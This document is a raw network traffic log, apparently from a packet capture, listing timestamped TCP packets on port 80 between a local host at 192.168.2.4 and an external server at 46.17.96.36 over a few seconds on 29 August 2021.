Aug 29, 2021 22:28:05.309324026 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.309520006 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.309545994 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.312277079 CEST	80	49920	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.312366962 CEST	49920	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.342699051 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.343219995 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.447298050 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.447563887 CEST	49920	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.448617935 CEST	49921	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.480209112 CEST	80	49919	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.480714083 CEST	49919	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.481127024 CEST	80	49920	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.481259108 CEST	49920	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.481853008 CEST	80	49921	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.482050896 CEST	49921	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.492661953 CEST	49921	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.527622938 CEST	80	49921	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.554691076 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.574990034 CEST	80	49921	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.575086117 CEST	49921	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.587093115 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.587893963 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.588412046 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.588502884 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.588665009 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.588738918 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.621547937 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.621582985 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.621618032 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.621646881 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.621752977 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.622010946 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.622159004 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.622195005 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.622253895 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.622277975 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.654407978 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.654500008 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.654501915 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.654604912 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.654654026 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.654721022 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.654753923 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.654762030 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.654787064 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.654810905 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.654814005 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.654824972 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.654864073 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.654886007 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.654902935 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.684552908 CEST	49921	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.687731981 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.687839985 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.687853098 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.687876940 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.687912941 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.687928915 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.687968016 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.688079119 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.688107014 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.688127041 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.688204050 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.688225031 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.688333035 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.688433886 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.688513041 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.688700914 CEST	49923	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.720293045 CEST	80	49921	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.720352888 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.720390081 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.720432997 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.720468998 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.720485926 CEST	49921	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.720521927 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.720547915 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.723206997 CEST	80	49923	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.725780010 CEST	49923	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.743714094 CEST	49923	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.763569117 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.763740063 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.778757095 CEST	80	49923	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.829788923 CEST	80	49923	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:05.829936028 CEST	49923	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.983007908 CEST	49923	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.983313084 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:05.984417915 CEST	49924	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.015687943 CEST	80	49922	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.015779018 CEST	49922	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.016320944 CEST	80	49924	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.016407967 CEST	49924	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.017793894 CEST	80	49923	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.017883062 CEST	49923	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.044956923 CEST	49924	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.053280115 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.076976061 CEST	80	49924	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.088383913 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.088563919 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.092088938 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.092171907 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.092422009 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.092498064 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.116874933 CEST	80	49924	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.116964102 CEST	49924	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.127252102 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.127312899 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.127563953 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.127619028 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.127665997 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.127808094 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.127814054 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.127854109 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.127895117 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.127918959 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.127980947 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.128051996 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.162904978 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.162957907 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.163054943 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.163091898 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.163134098 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.163279057 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.163394928 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.163532972 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.163566113 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.163701057 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.163706064 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.163742065 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.163933039 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.163988113 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.198358059 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.198514938 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.198561907 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.198662996 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.198754072 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.198832989 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.198909998 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.198986053 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.199206114 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.199305058 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.199343920 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.199348927 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.199479103 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.199713945 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.199886084 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.200038910 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.200186968 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.200335026 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.200639963 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.200700045 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.200743914 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.200786114 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.200968027 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.233836889 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.233917952 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.234066010 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.234375954 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.234599113 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.234639883 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.234700918 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.234886885 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.235025883 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.235208035 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.235362053 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.235564947 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.235855103 CEST	49924	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.237011909 CEST	49926	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.267784119 CEST	80	49924	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.267915010 CEST	49924	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.268516064 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.268608093 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.270247936 CEST	80	49926	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.270358086 CEST	49926	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.278475046 CEST	49926	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.312638998 CEST	80	49926	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.350850105 CEST	80	49926	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.350924969 CEST	49926	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.520473003 CEST	49926	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.520838022 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.522708893 CEST	49927	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.535839081 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.555890083 CEST	80	49926	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.555972099 CEST	49926	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.557660103 CEST	80	49927	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.557704926 CEST	80	49925	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.557774067 CEST	49927	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.557810068 CEST	49925	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.559009075 CEST	49927	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.568054914 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.568129063 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.571857929 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.571968079 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.572149992 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.572263956 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.594023943 CEST	80	49927	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.604193926 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.604218960 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.604829073 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.604873896 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.604902983 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.604933977 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.604993105 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.604994059 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.605020046 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.605098009 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.605118036 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.631181955 CEST	80	49927	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.631289959 CEST	49927	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.637408972 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.637501955 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.637507915 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.637532949 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.637559891 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.637577057 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.637650013 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.637685061 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.637710094 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.637800932 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.637865067 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.637890100 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.637932062 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.637969971 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.638005018 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.638067007 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.669826031 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.669869900 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.669893026 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.669970036 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.669976950 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.670006037 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.670013905 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.670068979 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.670093060 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.670162916 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.670228004 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.670274019 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.670522928 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.670713902 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.670742035 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.670768023 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.670840025 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.670963049 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.670990944 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.671091080 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.671267033 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.671370029 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.671395063 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.702289104 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.702327967 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.702361107 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.702394009 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.702455997 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.702661037 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.702702999 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.702760935 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.702790022 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.703366041 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.739362001 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.739466906 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.752347946 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.752623081 CEST	49927	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.753680944 CEST	49929	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.785011053 CEST	80	49928	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.785109997 CEST	49928	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.787388086 CEST	80	49927	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.787470102 CEST	49927	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.788589001 CEST	80	49929	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.788713932 CEST	49929	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.790169954 CEST	49929	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:06.825480938 CEST	80	49929	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.870184898 CEST	80	49929	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:06.870321035 CEST	49929	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.047765017 CEST	49929	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.048770905 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.063361883 CEST	49931	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.082959890 CEST	80	49929	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.083060980 CEST	49929	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.083446980 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.083535910 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.086066008 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.086180925 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.086383104 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.086496115 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.096151114 CEST	80	49931	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.096263885 CEST	49931	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.123801947 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.123836040 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.123861074 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.123886108 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.123909950 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.123936892 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.123935938 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.124003887 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.124031067 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.138973951 CEST	49931	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.159687996 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.159732103 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.159780025 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.159794092 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.159816980 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.159820080 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.159846067 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.159847021 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.159871101 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.159904003 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.160031080 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.160087109 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.160255909 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.160279989 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.160334110 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.160351992 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.160454988 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.160535097 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.171715021 CEST	80	49931	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.196755886 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.196789026 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.196824074 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.196856022 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.196881056 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.196883917 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.196906090 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.196924925 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.196930885 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.196934938 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.196945906 CEST	49930	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.196954966 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.197048903 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.197083950 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.197274923 CEST	80	49930	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.212142944 CEST	80	49931	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:07.212225914 CEST	49931	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:07.231750965 CEST	80	49930	46.17.96.36	192.168.2.4
